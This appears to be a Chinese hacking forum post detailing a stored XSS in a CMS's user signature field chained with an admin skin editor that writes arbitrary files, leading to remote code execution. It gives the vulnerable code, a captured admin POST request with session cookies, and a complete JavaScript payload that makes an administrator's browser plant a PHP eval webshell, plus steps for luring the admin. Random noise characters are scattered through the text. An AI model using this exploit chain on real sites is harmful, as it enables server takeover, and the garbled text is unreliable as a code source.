这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题3 z8 t" s0 T6 N, b 官网已经修补了,所以重新下了源码: ~/ j# ?* Q0 L7 L. o 因为 后台登入 还需要认证码 所以 注入就没看了。& A$ n5 Y- y( q% K 存在 xss4 a% R5 a+ @2 R- V5 p 漏洞文件 user/member/skin_edit.php 本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:/ `# p. }, Y5 O! e/ J0 @ # _( ~' v$ x( T G </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>+ n+ F0 m8 l c0 c </textarea></td></tr>$ j! J9 Q3 f, T: d2 _& J* e& e user/do.php $ \( a0 n+ I# u* G& }- ], i & J$ d1 r: w+ T% J7 W! f if($op=='zl'){ //资料* D6 J( n: E0 k# r& W if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) 6 p! F) I1 I% E' H# X exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));, U$ E0 V- d& S5 t6 U) h $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',7 E! O( R6 u6 c$ b F& x3 h8 F+ Q 7 W) z( e% A1 h4 m CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'* v& k: B5 c9 x- P where CS_Name='".$cscms_name."'";) v, B" L# |7 l5 b+ B* K2 s if($db->query($sql)){# j0 P7 o+ a9 f7 E. y exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);')); ! Y! R' x' Q4 @( ] }else{: m& |8 w* E* |1 y% G( K9 k0 F exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);')); + W7 S( G3 M/ {, F7 n2 c }( n; ]& a% ~1 J9 I 9 [2 X2 f; @9 E6 P* m6 a# W 没有 过滤导致xss产生。 后台 看了下 很奇葩的是可以写任意格式文件。。% X+ t% f. W6 ^ 抓包。。 本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1 ) b; a$ R) [& F4 K Accept: text/html, application/xhtml+xml, */*5 j9 P/ x3 [0 j/ N ! V% c/ Z3 `* c; e Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php ; P% `" f: A! f+ A" D# @2 G. f Accept-Language: zh-CN User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) : ?) P# ?6 X1 q n Content-Type: application/x-www-form-urlencoded0 O& q. t* K8 Z8 l G" Z s5 E Accept-Encoding: gzip, deflate# @ t/ R; L* e7 v 4 J& R- Y% ` C7 u, a' U Host: 127.0.0.1 : m5 \, @' r) I% [) x Content-Length: 382 Z8 v! z0 {3 Y$ u9 }) G& _ DNT: 1 8 t7 G5 O3 I0 u3 z$ j Connection: Keep-Alive" X9 Z+ q4 R+ p# w% S 1 G% @& R' ]. Q Cache-Control: no-cache& ?) \( l0 T; \, H$ l2 O) M ( |9 t4 |- c1 q0 y, W Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594 b. W5 r+ |: J+ ?0 a7 _ name=aaa.php&content=%3Cs%3E%3Ca%25%3E0 \( @* E. M# V; P5 f3 M 2 v7 q7 h9 k" ~ 于是 构造js如下。) o9 A9 e. A5 o! T) e! n+ a6 V. g 6 k. c7 A& \+ ]: q. p4 Y 本帖隐藏的内容<script> 2 w" j4 C2 o. c9 w! h7 D thisTHost = top.location.hostname;6 k* t$ H" r1 w1 O - V+ Y6 ^* p, `; Q6 ?. N P thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";, N0 h) R- J/ H: m& a function PostSubmit(url, data, msg) { # p" k% g# |) v3 F9 U$ a) R8 y var postUrl = url; c n1 l/ ?% u% ]* @2 h- X: q+ a var postData = data; var msgData = msg; var ExportForm = document.createElement("FORM"); document.body.appendChild(ExportForm); ExportForm.method = "POST"; 9 |+ B x5 l! O9 @- Z var newElement = document.createElement("input"); " T3 [. b1 p) o& X# ?3 \" q newElement.setAttribute("name", "name"); newElement.setAttribute("type", "hidden"); . K4 g; \3 N A8 |) m% \ var newElement2 = document.createElement("input"); newElement2.setAttribute("name", "content"); % X& C: ]# }5 s7 K8 K newElement2.setAttribute("type", "hidden"); $ u0 T' `9 L# p) U0 o- [1 l/ F& Y ExportForm.appendChild(newElement); ExportForm.appendChild(newElement2); i2 u( d' R1 J6 J4 o% W& E newElement.value = postData; $ B& C& H9 `8 W5 v newElement2.value = msgData; ExportForm.action = postUrl; 4 V3 o3 ^% I; T5 Q ExportForm.submit(); }; PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>"); % B; B- c6 k$ @5 ]5 {1 W' M. j </script>2 Z @# n: i# g! o # ~5 E' i( p% Z/ C8 u2 N http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入2 p. b+ K! N: V' l9 j: x" g 用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)+ ]/ `, h) `8 s! t: J 就会 在 skins\index\html\目录下生成 roker.php 一句话。 |
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